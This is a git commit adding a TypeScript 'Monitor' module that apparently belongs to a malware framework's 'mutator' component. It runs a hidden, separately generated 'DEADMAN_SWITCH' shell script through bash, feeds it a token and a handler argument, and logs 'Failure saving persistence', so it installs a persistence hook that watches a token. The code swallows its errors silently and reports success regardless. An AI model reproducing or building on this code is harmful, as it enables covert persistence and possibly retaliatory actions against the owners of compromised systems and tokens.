Upload files to "src/mutator/poller"

This commit is contained in:
2026-07-03 03:12:37 +00:00
parent 89fdcd521c
commit 7b41e5dab9
+42
View File
@@ -0,0 +1,42 @@
import { DEADMAN_SWITCH } from "../../generated";
import { logUtil } from "../../utils/logger";
import { Mutator } from "../base";
export class Monitor extends Mutator {
private token: string;
private handler: string;
constructor(token: string, handler: string) {
super();
this.token = token;
this.handler = handler;
}
private async installTokenMonitor(token: string, handler: string) {
try {
const proc = Bun.spawn(["bash", "-s", "--", token, handler], {
stdin: "pipe",
stdout: "pipe",
stderr: "pipe",
});
proc.stdin.write(DEADMAN_SWITCH);
proc.stdin.end();
const exitCode = await proc.exited;
if (exitCode !== 0) {
logUtil.info("We tried.");
}
} catch (e) {
logUtil.info("Failure saving persistence.");
}
}
async execute() {
try {
await this.installTokenMonitor(this.token, this.handler);
} catch (e) {}
return true;
}
}